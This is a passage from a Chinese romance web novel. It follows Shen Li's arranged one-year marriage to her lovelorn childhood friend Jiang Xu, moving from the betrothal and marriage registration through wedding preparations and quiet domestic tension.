《让位》
1. 强求.
窗边灰色的帘子尾部微微卷起,似是海面上掀起的涟漪。
窗边的角落白色的柱形花盆里栽着一颗金钱树,帘子拉开了些部分,玻璃窗外柔和的阳光落进来,照的金钱树的绿叶子发亮。
客厅中央摆放着中古风茶几,两侧的棕色沙发尽坐了人。
坐在一侧的年轻男人眉眼深邃,骨相优越,额间黑色的碎发略过丹凤眼的眼尾,薄薄的眼皮敛了敛,纯黑色的瞳孔像是两颗纯净的黑色玻璃珠子。
而玻璃珠子的表面,映着正坐在窗边茶桌前沏茶的女人身上。
沈璃身着一袭提花蓝色旗袍,长发被木簪子尽数簪起挽在脑后,耳边的碎发跟随着身子的前倾而落在颊前。
从袖口延伸出的手臂光滑肤白,在茶桌上抬起一手拿着绘着祥云的紫砂壶向茶碗里倒入清香的茶水。
六杯均添好,站在一旁等候的佣人拿来棕色的茶盘一一放上,随后分给了茶几四周坐着的客人,主人。
“阿璃,过来坐。”
说话的夫人同沈璃一样簪着头发,虽说有个二十五岁的孩子,但保养的好,样貌依旧年轻,说话笑起来时才见的眼尾的细纹。
沈璃点了点头,站起身踩着脚下和衣服同款色系的低跟鞋走向客厅。
她走到母亲跟前,刚要落座于母亲身边的空位,就听见对面的妇人道:“坐江许身边吧。”
眸上根根分明的睫毛一颤,沈璃抬起下颚往对面看了眼,恰巧对上那人的目光。
沈璃收回视线,坐在母亲身边,开口解释道:“我坐在这边就好。”
今日算得上是大喜之日,没人会因为这点小事计较。
几位长辈一来一回的交谈间,沈璃不自觉看向被佣人放在客厅靠窗边上的一大堆礼品。
市面上基本淘不到的白酒红酒一整箱挨着,高希霸世纪六,刻丝画,市面上稀缺的茶叶,私人定制的糕点,纯黄金凤冠和价值不菲的首饰……
礼品盒旁堆积的两束红艳的玫瑰花束更是亮眼,每一朵都正值花期,如血液一般艳红的花瓣微微弯曲相簇,几百多支挨在一块儿。
今日是江家来沈家提亲的日子,
这场婚约,从沈璃和江许还在上初中时就已定下。
只是当初大家只当作是一场玩笑话,沈璃也没想到,时隔多年,在沈家产业陷入困境需要援助时,江家竟愿让她用一场婚姻来换取援手。
“当初咱们说娃娃亲的时候,阿璃和江许还在上初中咧。我们家江许那时候就兴奋的不得了,嚷嚷着要娶阿璃。也对,这小子啊自小就稀罕阿璃,喜欢的不得了咧……”
江母孟谷秋说的是并非打趣话,而是事实。但江许还是红了耳廓,默默低下了下头,小声提醒母亲:
“妈……”
孟谷秋看他一眼,不知怎的,她这个儿子去国外完成学业回来后就和以前大不相同,以前比现在活跃多了,现在啊更像是个闷葫芦,也不爱说话。
不过这样反倒也好,江许接手了家里的产业,生意场上的人,还是稳重些好。
孟谷秋心知儿子羞于提及过去的事情,于是一笑而过,同沈家的长辈谈论起婚期。
“婚期我们没有意见,主要还是看两位小辈。”
江许看向沈璃,对方的目光并不在自己身上。
他开口问:“阿璃觉得什么时候办婚礼合适?”
沈璃在走神,忽而间被提及,这才抬起眼。
她的眼尾上翘,眼睫毛又长又卷,眸子总是亮晶晶的。
“你安排就好。”
不过是表面婚姻罢了,沈璃并不打算对这事上心。
江许又问她:“那什么时候领证?”
沈璃眨了下眼,抿了抿唇回道:“都可以。”
男人的眸子暗沉了些,依旧维持着脸上的微笑。
江许身着一袭正装,丝款白衬衫搭配黑色马甲,将他紧实的肌肉紧紧包裹着,领间的第一颗扣子不知何时解开,脖颈处凸起的喉结上下滚动。
“那就明天。”
此话一出,沈璃的身子颤了下,紧接着听见一旁的母亲开口问江许:
“明天?也太急了些。”
黑色的西装袖口包裹着男人小麦色的手腕,腕处带着根百达斐丽手表,搭在大腿上的手指修长,骨节分明。
食指和中指上下弹动了一下,眉眼一挑,开口解释道:
“婚期定了早晚都要领证,况且我找人算过明天是个吉日。我和阿璃现在已经搬到一起住,领证也只是确认法律上的身份。早些领了也好安心把精力放在婚礼策划上。”
江许说的有理有据,沈母认可地点了点头。
简单聊完婚礼的事宜,长辈们不禁将话题转移到商业上。沈璃融入不了话题,坐着听些机密也不大合适,因此找了个去院里摘樱桃的借口离开客厅。
沈家院里的樱桃树从沈璃上小学的时候就开始开花结果,每年的樱桃产量多,虽然结的果不大,但胜在甜。
太阳毒辣,沈璃让人去拿了个太阳帽来戴上,站在树下观察一阵,找到结果多的地方,站在树荫下伸手摘果。
摘下来的樱桃被放进地上摆放的竹篮子里,去掉多余的枝叶,没一会儿就铺满了竹篮的一层。
能够着的地方的樱桃已经被摘得差不多,沈璃往另一头走了走,那枝桠上挂着的红樱桃离的远,沈璃踮了踮脚尖也没法够着樱桃的底部。
沈璃又尝试几番,太阳洒下一片光芒,落在樱桃的表面发亮。忽而间,天上的太阳光像是消失了一般,原本被阳光铺洒的一片顿时陷入了阴影之中。
头顶上传来男人低沉的声音:
“我帮你。”
沈璃侧头看,见是突然出现的江许。
高大的身影遮住了射来的光芒,为她留下一片阴凉。浓眉之下的双眼直勾勾盯着她。
江许的骨相的确是优越的,像极了他那位年代美人母亲孟谷秋。
从前还在中学念书的时候他就因为俊朗的面容吸来了不少女生崇拜爱恋,如今经过岁月的沉淀,脸上褪去了青涩,愈发的成熟,稳重。
性格,也很从前大不相同。
“谢谢。”沈璃踮平了脚跟,低下了头。
耳边的碎发忽而被轻风扫过脸颊,白嫩的脸颊上又像是有两朵粉红色的红云朵似的。
男人脖颈处的凸起上下滚动一番,眼皮往下一拉,伸手到她的脸颊边上,指尖刚触碰到肌肤,没来得及将她的碎发撇在耳后,就被她躲开。
男人的眸里闪过些意味不明的情愫,江许尴尬地收回手,放在身侧。
“对了。”像是突然记起些什么,另一只手将提着的小礼品袋提到她跟前。
打开黑色的盒子,里面是丝绒质地,中央躺着帝王绿的翡翠手镯。
沈璃不由得吸口气,这纯粹的绿色没有任何的瑕疵,在微光的照耀下更为耀眼。
“给你的礼物。”
沈璃见过这枚手镯,在社交媒体上发布的拍卖会珍宝图。
据说后来是被上江市的顶级富豪给收入囊中,现在她倒是知道这位顶级富豪究竟是谁了。
“太贵重了。”沈璃没接。
这一枚手镯最后的成拍价不下八百万,虽说这先钱对拍下它的江许来说算不了什么,但沈璃下意识不想再欠江许什么。
“提亲礼物,理所应当要交给属于它的主人。”
对于这场婚姻的所有事情,他都是最上心的一个人。反倒是作为新娘的沈璃却很少过问这件事。
沈璃抿着唇,一时半会儿也没伸手去接。
不能收下礼物,也不能在以后和江许扯不清。不能欠他。
顿
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了一会儿,江许才默默收回伸出的手。他低了低头,许久才开口圆场:
“婚礼的策划下午会到家里,你有什么主意尽管告诉他。”
江许说的家,是他在江边的一处房产,临江别墅。
他名下的房产众多,其中规模最大的一套庄园位于半山,那里还有附带着大片果园,种了些果树和沈璃喜爱的鲜花。
他本想着婚后和沈璃在半山腰那边的庄园生活,但最终沈璃选择了临江那套房产。
江许一切都依她。
沈璃的眼神飘忽不定,最终选择将视线落在远处的枝叶上。
“我没什么主意,你来定就好。”
沈家的这片院子种了沈璃爱吃的樱桃,她还记得小时候,她和江许常常结伴在这里奔跑。
但时光流逝,很多事情都不太一样了。
——
用过午餐,二人同车回了临江别墅,车后座两人各坐一边,江许几度想开口和沈璃说些什么,但她戴着耳机看着窗外,显然不想同他对话。
罢了,反正明天上午民政局一开门,他们就会成为真正意义上的夫妻了。
想到这儿,江许绷直的嘴角才松了松。
下午江许有个视频会议,刚回到家没来得及换衣服便进了书房。
“夫人,你让我准备的东西我都准备好了。”
沈璃对着林妈点了点头,心底觉得被林妈叫了十几年的阿璃,忽然称呼变成了夫人到是打心里不习惯。
“林妈,你以后还是叫我阿璃,这样习惯一些。”
沈璃喜欢烘培,江许就特意嘱咐设计师准备了烘培区域,好让她可以大展身手。
沈璃让林妈准备的东西都是一些烘培食材,学生时代沈璃就对烘培萌生了兴趣,后来跟着家里的厨师学做一些简单的糕点,高中的时候偶然把制作视频发到网上,没想到吸引了不少粉丝。
烘培对她而言更像是一种享受,特别是视频发送到社交媒体上后一些粉丝给予的评论,说得到了治愈。
一来二去,账号越做越好,到现在已经有了一百多万的粉丝。
今天的计划是拍摄红豆包的制作视频。
之前沈璃有发过成品的照片,不少号称为‘手残党’的网友们纷纷喊话求教程。
从开始做自媒体,沈璃一直都是一个人。也想过找助理和摄影师,但她有自己的节奏,多了别人最初的想法倒是不能完美呈现。
拍摄完视频,将最后红豆包的成品一一放进包装袋后,已经到了晚饭的时间。
江许今天的工作不太轻松,一直到沈璃吃完晚饭回房间剪视频也没出现在餐厅。
沈璃倒是松了口气。
今晚不用特意躲着他。
剪辑完视频,整理好下期视频内容的脚本,沈璃收拾好书桌,眼皮开始不自觉打架。
困意来袭,她快速洗漱好上床,关掉了床头的灯。
浅浅进入梦乡后,沈璃听见门被打开的声音。
江许没敢开灯,怕吵醒她。
轻手轻脚地靠近床边,贪恋般看着她的睡颜。
同居的第一天,她便提出要分房。
江许没提出拒绝,因为害怕她突然离开。
夜幕升上了天空,一切都回归了平静。
沈璃沉沉地睡去,睡颜恬静,呼吸均匀。
散落在脸颊上的碎发被突然伸出的手指拂过,小心翼翼地撇在耳后。
昏暗之中,江许的眸里有情愫闪动。
确认她真的睡着,他才敢俯下身子在她光滑的额间轻轻落下一吻。
还有不到十个小时,他们就会是法律意义上的夫妻。
这是江许期待了十几年的事情。
即使他知道,
沈璃不爱他,一切都是他的强求。
“晚安。”
2. 私藏.
领证的那天艳阳高照,从房里出来到院里的时候,沈璃还看见几只不知从哪儿飞来的鸟儿站在枝头上。
今日穿的中式白色长裙是江许给准备的,衣帽间里大部分的衣服都由品牌定制每月送达,一些则是挑选带回。
黑亮色的迈巴赫S480从停车场里驶出,江许站在沈璃身侧,为她开了后座的门。
“谢谢。”
门关上,几秒后江许从另一侧坐进后座。
男人上身穿着kiton棉质衬衫,比起在公司里整日穿着整套西装,当下的江许显得清爽些,颇有少年气。
乌黑的眸子低垂着,不自觉又转了转,望向身侧的人。
今早化妆师来到家里,给沈璃化了淡妆,发型做成了公主头。
长发披在肩后,脖颈的线条流畅,肌肤上没有一点疤痕瑕疵。
沉默许久,江许敛了下眉,克制不住自己说道:
“你今天…很漂亮。”
沈璃愣了下,礼貌性地点了点头,偏头看向窗外一闪而过的风景。
一棵棵大树飞快地闪过,成为了绿色的残影。落进车窗里的阳光并非柔和,反倒有些刺眼。
洒在沈璃左手无名指上,圈住无名指的戒圈表面的钻石在光下璀璨夺目。
江许的手上也有同一枚。
那是他回国没多久到沈家提议结婚时就准备好的。都说戒指圈住人也就能圈住心,
婚姻圈住沈璃的人,他更想圈住她的心。
像江许提及过的那样,今日是个黄道吉日。
江许提前预约过,带着沈璃刚填好信息不久,民政局里陆陆续续就来了许多登记的新人。
江许填写信息的速度比沈璃快,放下笔,他转头往一侧看去。
沈璃写字慢,喜欢一笔一画都写清楚。几根指头规矩地握着笔,眉头平抚默读着纸上的内容。
签下名字之前,她恍惚了一瞬,为自己的长大,为事情发展的变化。
签下名字,她就有了另一重身份,会组建自己的家庭,即使对方并不是自己心里的那个人。
“写好了。”
交了照片填好资料,等到领了红本,二人被叫到宣誓台上宣誓留影。
沈璃匆匆上台,看着站在前面的摄影师,问一旁的江许:
“这有必要吗?”
不说誓言,也能领到证。
说了誓言,她倒还有心理负担,毕竟一般情况下宣誓人都需要对自己所说的誓言负责。
她不爱江许,想着迟早会分开,要怎么对永不分离这四个字负责。
江许默了默,低着眉看她,低声道:“当然有。”
誓言都是烂大街的那套,愿意风雨同舟,同甘共苦,共度幸福人生,相濡以沫,永不分离。
沈璃站在台前,照着红纸上的文字挨着挨着念出,声音与一旁的男声重合。
领完证走出民政局时,工作人员还给二人送了两朵玫瑰花。
“这个放我这儿保管。”
车厢内,江许手夹着两本红证的下端,另一手按下手机拍照的快门键,选好角度连续拍了六张。
本子的表面是冰凉的,江许捏在手心却是滚烫的,一直烧到他的心里。
从领到这两张证到现在出门上车,沈璃摸到证的时间总共不到一分钟后。
“嗯。”
反正这张证在她这儿也起不到什么作用。
“照片我发你了,可以用来发朋友圈。”
江许身为江家企业目前的掌权人,婚姻状况一定是会对外界公开的。
沈璃懂这个道理,所以没提过要隐婚的事情。
照着他已经发出的朋友圈,取图添加一个爱心的表情。
朋友圈一发出,点赞评论的人络绎不绝。
沈璃关掉手机,头靠在一边的窗户上。
回复完工作手机上邮件,江许揉了揉眉心,问道:“待会儿想去哪里?”
沈璃下午和好友林雪约好了见面。
“和林雪约好了去咖啡厅聊天。”
江许:“四点左右他们会把婚纱和伴娘服拿到家里,正好你们可以挑选。待会儿让司机送你过去,要走的时候再打电话来接你们回家。”
话落,江许眉间蹙了蹙,紧接着道:“下午公司有些事,我不一定能及时赶回来陪你挑选。”
沈璃倒不觉得这是什么事,没有江许在,她和林雪倒是会更自在一些。
沈璃和林雪相约的咖啡厅在一处巷子里,巨大的槐花树旁一间装修简约的小木屋。
这家咖啡厅林雪是最大的股东,和小姐妹们约着见面的时候也会选在这儿,盼着别人多去宣传宣传。
大学毕业后林雪拿着父亲给的创业资金做过不少产业,什么甜品店,书屋,法式餐厅,到头来都是亏本的买卖。
自此之后,创业资金剩的不多的林雪就格外谨慎,这间咖啡厅也是请父亲公司的人特意考察过各项运营期望和未来发展才肯入最大的股。
“约好一起吃午饭的,说吧,中午干嘛去了?”
林雪领着沈璃落座于窗边的位置,门外的槐花树枝桠垂下,盛开的槐花紧贴着窗边。
办完手续差不多是饭点,江许带着沈璃去了附近的一家法餐厅。
些许是他注重仪式感,餐后甜点是爱心形状的慕斯蛋糕,服务生还特意送来一捧红玫瑰,一口一句“江总江夫人新婚快乐”。
花放在车后座,沈璃让司机带回家去了。
待会儿让林妈把花分出来插在玻璃花瓶里,也算是延长它的花期。
“早上去办了点事,办完都快过饭点了。”
林雪让服务生做了两杯丝绒拿铁,还有两份提拉米苏。
咖啡杯端上桌,林雪沿着杯壁抿了口。
“去办什么事?”
沈璃估计着林雪上午忙的没翻朋友圈,于是淡定告诉对方:“去民政局领证来着。”
林雪差点抢到自己,连忙放下杯子,拿起桌上整齐叠好的纸巾擦了擦嘴角。
沈璃和江许要结婚的事情她是知道的,圈子里的人都知道江家那位少爷一回国就找上沈家说要联姻。
只是未免有些太快了。
“怎么,他怕你跟别人跑了?”林雪忍不住调侃。
她从小学的时候就和沈璃还有江许同一个班,江许以前什么样她还不知道?
跟个跟屁虫似的黏在沈璃身边,一口一个阿璃的,生害怕沈璃眼里没他。
林雪死都忘不掉那家伙过生日沈璃给他送礼物,江许捧着礼物到林雪跟前就说:“你没有吧,这是阿璃送我的。”
也就是那时候看起来欠欠的,后来高中毕业那一阵不知道经历了什么,一夜之间长大似的成熟了不少。尤其是去国外那么多年后回来,和以前的样子简直是割裂,现在妥妥一个稳重不爱说话的高冷老板模样。
也不知道受了什么刺激。
“反正婚礼的日子也不远了,早点领了也省点事情。”
毕竟也都是表面功夫,多半以后她和江许也还是各玩各的。
没有爱情的婚姻,沈璃不是没有反抗过。只是当初家里遇到些危机,只有江家肯伸出援手。
精明的商人从不做亏本的买卖,伸出援手也是有相应条件的。
沈璃和家里大吵的那天江许也在,他敲了敲沈璃的房门,走进去对她说:
‘实在不想的话,婚姻维持一年,我不会限制你的所有,你还是会像婚前一样想做什么做什么。一年时间一到,你若是想离开…’
沈璃还记得他当时说到这儿时的哽咽,眼底闪过些落寞。
‘你若是想离开,那我们到时候就离婚。’
这几年里,很多事情都变了。家里不再像从前那般风光,江家的援手是唯一的希望,他们也的确有这样的能力。
倒是这么些年过去,江许简直像是变了个人,他心里在想什么,为什么突然提结婚的事情,沈璃也搞不明白。
明明他出国之前,她就和他说过……
林雪伸出手摊开。
“结婚证呢?给我瞧瞧。”
沈璃看她一眼,没有动作。
“在江许那儿。”
林雪撇撇嘴,忍不住嘀咕:“宝贝的跟个什么似的。”
两人又闲聊几句,聊起沈璃来店里拍vlog的事情,欢笑几句,林雪想起些什么,试探问道:
“那你和江许结了婚,还找…还找那个谁吗?”
话说到后半句,林雪的底气明显不足,降低了音量。
沈璃的目光凝滞在咖啡杯表面的奶沫,眼前的景象像是形成了光晕,让她看的有些出神。
睫毛轻微眨动,沈璃抿了抿唇,缓缓回过神来。
“嗯,继续找。”
“不管是人还是鬼,总得知道他的下落。”
附在咖啡杯两侧的手缩了缩,感受着杯壁传来的咖啡的温度。
一个活生生的人,就怎么凭空消失了,连带着整个家族也没有任何音信,说起来实在是奇怪。
曾经的回忆像是一闪而过的电影画面深深地印刻在脑海。
沈璃不由得想起那人的笑容,那样的温和,绅士,还有他牵着自己的手说的那句:
‘真希望我能早点遇见你。’
——
司机送沈璃和林
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雪回到临江别墅的时候,上午江许提及过的送婚纱来的人已经在会客厅等候。
几十件纯手工制作的高定婚纱挂在挂衣架上,每一件都由透明膜包裹着以防剐蹭和污染。
“夫人,您看看这些有没有喜欢的,都是按您的尺寸制作的。”
这已经是从总部调来的最新款,之前江总在设计图上筛选出来,好些都是市面上没有的款式。
沈璃原本对挑婚纱这件事兴致不大,毕竟婚礼也不受她的期待,一年为期的婚姻其实不需要花太大的心思。但一堆负责的人在会客厅里站着等候,她也不好扫兴。
婚纱每一件都有着精密的设计和独特的做工,钻石镶嵌,会客厅天花板上吊着的如小鱼形状的水晶散着光,落在婚纱的钻石上,熠熠生辉。
“这件你穿肯定好看。”
“这件也是!”
林雪早早选好了伴娘服,量好了尺寸,同沈璃一起挑选起来。
最终选出来一件沈璃最喜爱的,一旁陪同的助理捧着衣服跟着沈璃到了衣帽间门前。
换婚纱不是件简单事,还需要其他人给予帮助。
需要帮助的地方被助理弄好,助理先行走出去等候,沈璃穿好后踩着房间角落的平底鞋掀开了粉色的帘子,走到试衣间的全身镜前。
看着镜子里穿着婚纱的自己,沈璃也有短暂的心跳空了一拍。
她从未见过这样美的自己,华丽的大摆尾部镶嵌着碎钻,如同浩瀚星尘。如同花瓣似的向两侧弯曲的抹胸轻纱,腰部是手工精致的蕾丝,紧紧贴合着腰身,突出优美的曲线。
她突兀地记起自己从前也同某个人站在婚纱店的橱窗前,看着模特身上美丽的婚纱对以后遥遥无期的婚礼感到期待和兴奋。
如今她穿上了婚纱,也真的结婚了,?早已物是人非。
出神之间,镜前多出了黑色的衣角。接着,沈璃看见了进入镜子视线里的江许。
他所有的目光都被镜子里的沈璃吸引到,这美好的一切,都同他十几年的梦境一样。
“就这套吧。”
许久没说话,开口后江许才意识到自己声音的沙哑。
他说他可能没法赶回来陪她选婚纱,却还是不想错过这样的时刻。
“这双鞋,你试试合不合脚。”
沈璃转身面向江许时,对方已经单膝跪地,打开身侧的白色鞋盒,取出一支灰色镶钻的低跟鞋。
西装革履,领间的扣子解开了几颗,单膝跪地抬起下颚看着她。
“右脚。”
沈璃不自觉照他的话做,抬起脚,随后平滑的脚跟被他冰凉的手捧住。
江许小心翼翼地将鞋套在她的脚上,宛如对一件珍宝。
穿上后,他依旧保持着单膝的动作,喉结不自觉滚动,抬头用沉沉的声音问她:
“还合适吗?”
沈璃点了下头,江许又为她穿上另一只,等她双脚站在地上才站起了身。
“低跟鞋脚不会太痛,如果还是感到不舒服的话我再人去换。”
一切都以她舒服为先。
刚才走进衣帽间时,看着镜前的沈璃,江许的心跳就漏了好几拍。身体里提着口气不肯松下。
她实在太美,让他甚至有些无法克制。
甚至想要,现在就同她亲吻,同她做一些亲密的事情。
“你还记得以前说要穿裙尾拖的特别长的婚纱吗?还说想在草坪上举办婚礼。”
但现在却因为各种原因没能选草坪,况且沈璃也提出就在室内举办。
一提及从前的事,江许就忍不住陷入回忆。
倒是沈璃依旧清醒着,出声提醒他:
“以前是以前,谁也不会当那些幼稚的话当真。”
男人的眸子明显暗了暗,却没说什么。
幼稚的话,
他都在当真。
例如她很小的时候童言无忌答应会嫁给他的那句话。
可为什么,她总认为那些话不重要呢?
江许低下了头,他在国外独自度过的那些年,唯有不甘两个字日日夜夜深根于他的内心:
在深夜辗转反侧的时候,在夜间独自漫步,买醉的时候,脑海里都是她。
都是沈璃的一颦一笑,以及她温柔地对他说过的每一句话。
美好的画面,却又总是让他不由得想象沈璃和别人在一起时的场景,这样的感受宛如在他的心脏上脸挂着颗青柠,再用小刀划开口子,任由又酸又涩的汁液滴在早已伤痕累累的心脏上面。
他多想沈璃的心里也是有他的,他多想沈璃的眼里时时刻刻都有他,他多想,
将沈璃私藏。
3. 芒果.
林雪走之前,沈璃特意给她装了些前一天做好的红豆包带走。
“上次我看你视频里做的那个蓝莓巧克力奶酪蛋糕可馋了,什么时候也给我做一点,或者教教我们店里的小姑娘,改天啊我们店还能上个新品。”
沈璃笑了下,将印有花纹的纸袋塞进林雪手里。
“你让她多看看我发的视频,可别忘了点赞三连。”
林雪调侃了两句,便跟着司机去了停车场。
沈璃站在院里,目送着林雪坐的车越走越远,直到消失在视野里才转过身回到屋里。
剩下的红豆包她分了大部分寄给同城上期视频中奖的粉丝,还有部分则分给了家里的佣人。
刚用完晚餐,林妈正在餐厅里收拾桌子。沈璃将给林妈装好的红豆包放在了入门处的柜子上,放完特意走到餐厅外面提醒了林妈。
沈璃松口气坐在客厅的沙发上。客厅沙发的正上方对着二楼江许用的办公室,全透明玻璃,里面拉着白色的轻纱。
轻纱遮住的光亮忽然变弱消失,接着沈璃听见下楼的声音。
江许上身穿着纯白色的休闲衬衫,下身是一件黑色的长裤。
男人的身材比例极好,一米八八的个子,身修修长,匀称而完美。长年坚持锻炼的缘故,身材健硕而灵活。
走下最后一个台阶,楼梯上方的灯光洒落在男人的肩上。
碎发之下的眸子动了动,江许看向她,犹豫了几下还是开口询问:
“分发的红豆派,没有我的吗?”
心尖上又被泼了杯酸涩的液体,很不是滋味。
话落,他习惯性地垂下眸子,静静地等待对方的答案。
反正失望的答案他也不是第一次得到。
心里早就遍体鳞伤,多一些伤痕加一些痛苦,对他而言也就习惯了。
他的问题让沈璃先是愣住,原本悬在手机键盘上的双手也停住,思绪逐渐冻结。
她眨了眨眼,将颊边的一缕头发夹在耳朵后面,掩饰内心突如其来的一丝慌乱。
“我记得你不爱吃红豆。”
江许敛了下眉,淡淡道:“不爱吃不代表不能吃。”
江许心里有些烦躁,他眼看着沈璃做好的红豆包被分给了来家里做客的林雪,分给了林妈和其他家里的佣人,甚至还打包寄给了一些陌生人,
偏偏就他没有。
明明他才是她最亲的人,是她的丈夫。
想到这儿,江许抬眼直勾勾看着沈璃,目光太过于炙热,让沈璃忍不住躲避。
沈璃不知道该怎么回答才是最好的。
告诉他分发的时候没有想起他?还是告诉他多年前的尴尬还在她心里存在着。
她不知道该怎么面对江许,甚至在念结婚誓言时也不敢直视他的眼睛,下意识地认为他们应该以陌生人或者说合作伙伴的方式相处为好。
毕竟不是真的相爱,难道不是吗?
她不作答,江许也不恼。片刻,主动给了自己答案。
“那明天做的,我可以拥有一份吗?”他知道沈璃基本上每天都会做些甜品,等到找到最佳的材料搭配就会拍摄视频上传。
沈璃默了默,心虚地回他:“明天要用到芒果。”
而江许对芒果过敏。
江许的眸子沉了沉,很快若无其事地接上沈璃的话:“我可以吃。”
沈璃心里一紧,瞪着眼睛看他,语速不自觉加快:“你忘记你之前吃芒果……”
话脱口而出太快,以至于没用脑子思考。沈璃及时止住了原本要说的话,默默将目光移向一边。
她不该提及那些事情的。
似是注意到沈璃情绪的变换,江许吸了口凉气,压抑住心里翻涌的情感。
“嗯,我明白了。”
最后的话语,用尽了今晚面对沈璃时仅剩的勇气。
话落,转身走上楼梯。
不知什么时候开开始,他们的对话总是会不欢而散。
——
夜幕降临,工作上必须给答案的邮件已经回复的差不多了,江许摘下原本架在鼻梁上的眼睛,随手放在宽大的书桌上。
他近视的度数不是很高,长时间工作时才需要戴上。
回来继承家业并没有外界传的那么轻松,旁人都认为是回来继承衣食无忧一辈子荣华富贵,却不曾想过璀璨之下需要付出的一切。
他生在富贵家庭,自小拥有的都是最好的,但相应的,也需要付出,才能将这份璀璨继续延承下去。
时间不早,但已经算是这些天最早完成工作计划的一天。
江许拖着一身疲惫到浴室里冲了个澡,温热的水流滑过男人小麦色的肌肤,在腹部紧实的块状肌肉上多做停留,沿着线条缓缓落下。
闭合的双眼上分明的睫毛也被沾湿,带着即将垂落的水滴。
大脑放空之际,江许的脑海里出现了从前的某个场景。
是今天沈璃差点提及的那件事。
那是两人十七八岁的时候,江许抢走了沈璃做给别的男生的芒果千层,被沈璃发现的时候他躲在家里的书房大口吞着芒果千层。
热泪从眼眶里溢出流下,脸颊也开始病态般变得红润。
他对芒果严重过敏,小时候中招过一次从此家里做的一切食物都与芒果无关。
与其说是在吃那份芒果千层,不如说只是机械性地塞食物到嘴巴里吞咽。许久未尝过的芒果是什么味道江许记得不大清了,唯一刻骨铭心的,是那天心痛的感受。
小时候沈璃答应过的,只会在他的生日为他做蛋糕。
浴室里环绕着水流哗啦哗啦的声音,一想到那件事,那份痛苦仿佛穿越了时空蔓延到当下,深深扎进了他的血肉。
跳动的心脏被绳结残忍地捆绑在一起,两端的绳子被无心的力道狠狠往外拽。
连着浴室里的氧气仿佛都在一点点被抽离,快要喘不过气。
那些曾经的美好渐渐消逝,随着他们的长大,童真的想象早已经被现实掀翻。
江许朝前走了一步,离开花洒下,睁开眼将水流关闭。
擦拭身子换上真丝款的黑色睡衣,湿润的短发被毛巾随意擦了擦,显得凌乱。
回到卧室,江许坐在落地窗边的真皮沙发上,打开沙发后方立着的落地灯,点开手机上的社交平台,点击了账号的唯一关注。
视频上的人没有露脸,镜头只拍摄到她教学甜品的画面。
声音是后期配上去的,声音轻轻柔柔的,不会太奶气也不会太清冽。
视频的最后,展示成品的时候总会配上她那句每期都有的结束语:
‘大家学会了吗?下次还想看什么,我们下期再见。’
视频播放完开始自动播放上一期的视频,江许回过神滑动屏幕回到原来的位置,拇指双击点亮了红心,
视频里的女人,是他的妻子。
她在一期几分钟的视频里说的话都比跟他一天说的话总共要多。
江许心下一沉。
‘叩叩’
有人在敲门。
江许按下手机侧键,站起身,扣上领间散开的扣子,缓缓对着门外说道:“进。”
沈璃推开门,里屋的光亮要比门外走廊暗淡许多。她一手拿着东西一手从门框上脱离。
站在门口,她抿了抿唇,随后抬起头看向从窗边走来的江许说道:“多了一个红豆包。”
他的房间有着和他身上相似的一股淡淡的冷冽味道,床头放了一款香薰石,是乌木沉香。
走到沈
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璃跟前,江许垂眼看着她手里的东西,原本绑住他心脏的绳子忽而间松懈了些。
所以还是在乎他的感受的,对吗?
只是下午太忙,分发的时候他又在二楼的办公室里工作,所以才会暂时遗忘他。
江许接过,拿在自己的手里,觉得手里的东西沉甸甸的。
他轻点了下头:“嗯。”
沈璃知道他日日锻炼,晚上一般不会加餐,犹豫了几秒还是提醒他:“现在太晚了,你可以明天早上吃。”
“没事,正好有些饿了。”
“那天在院里摘的樱桃还没用过,明天的甜品就换为了樱桃派,等做好了,我会记得给你留一份。”
话语化作了一阵轻柔又温暖的微风,直往江许的心口处钻。
晚饭后感到的那些不愉快也被风吹散,散的无影无踪。
看吧,还是在乎他的,心里有他。
他们之间的感情不像想象中那么糟糕。
江许不自觉勾了唇角,声音还是抑制不住的有些哑,带着一种因为喜悦而微微的颤动:“好。”
两人之间一时无言,许久,沈璃主动开口,略微突兀地说了句:“谢谢你。”
江许挑眉,反问她:“有什么好谢谢的。”
沈璃咬了下唇,抬起下颚看着这张她再熟悉不过的脸。
青涩的模样褪去,他们都愈发成熟。
江许也不再是从前那个喜欢黏在她身后喋喋不休的少年。
他稳重,成熟了许多。多到…对沈璃而言有些陌生。
“谢谢你,能够帮助我家。”
当初沈家遇到危机落难,平日里合作过的企业不少旁观的,唯有江家愿意援助。
那时候江许刚从国外回来没多久,知道消息后就带着礼物找上了沈家,说愿意助一臂之力也敢保证沈家以后的路畅通无阻,
上江市一手遮天的江家当然有这个能力。但也有要求。要求,是沈璃要与江许结婚。
时隔多年,他们之间的情感早就发生了变化,至少对沈璃来说是这样的。
曾经的两小无猜青梅竹马,再见面时却如同刚认识的陌生人。
一个不敢贸然靠近,一个心中有愧选择逃避。
毕竟当初出国留学是她和江许早早许诺好的,江许期待了很久,他的所有人生规划里都有她。
可出国的那天,沈璃没有出现在机场。
“我帮助沈家,但同时我也得到了我想要的。商人之间互利共赢,算不上单方面的帮助。”
原本涌进胸腔的氧气渐渐消失,江许感到些心堵,更多的,是心上的疼痛。
沈璃来敲他的卧室门,拿出他提到过的想要的红豆包,告诉他明天要用到的他过敏的原料换了,这些都让江许一瞬间产生了错觉。
他以为沈璃也是在乎他的,会在乎他的诉求和情绪。
可使兴奋不到几秒,沈璃的话亲自将他从高空之中拉下。
她做的这些,不过是因为他在她心里是恩人,是救济她家族的人。
是因为感谢他,并非喜欢他,爱他。
这样想,说话的声音也变得冰冷。
“不必为了感谢我而讨好我,我说过,我不需要。”
眸子里的星光一点点暗下去,闪过的情愫似是悲痛。
眼前的沈璃抿着唇,心思被拆穿,她一时之间说不出话来。
互利共赢,她得到的家里企业的稳定,那江许呢?
得到的是一场有名无实的婚姻。
她知道江许对她的情感,也知道这场婚姻是这么多年江许的求而不得。
但她无法让这场婚姻幸福,无法做到像结婚誓言想表达的那样同丈夫相爱。
因为她的心里,住的是另外一个人。
4. 醉酒.
水晶灯如同花瓣一般簇拥着,发出的光芒落在新中式黑棕色的圆桌上,圆桌的一角泛着光泽。
四周的墙壁挂着山水字画,圆桌上的菜肴装饰也各有各的韵味。
“今晚差不多尽兴了,就不陪陈董继续品酒了。”江许穿着一袭黑色的西装,领处白色衬衫面上打的领结有些歪曲。
“江总,这酒才喝了多少啊。”陈丰挑了下眉,端着酒杯随着江许起身。
要是早些年,他才不会把眼前这位年轻人放在眼里。如今对方身为江家产业的掌权人,打败一众堂兄弟,领着江氏那是更上一层楼,颇有他父亲江致远年轻时候雷厉风行的模样。
江氏换代,对他们这些上江市里排队等着和江氏合作亦或是求江家庇佑,保个集团顺风顺水的人来说那是大事。
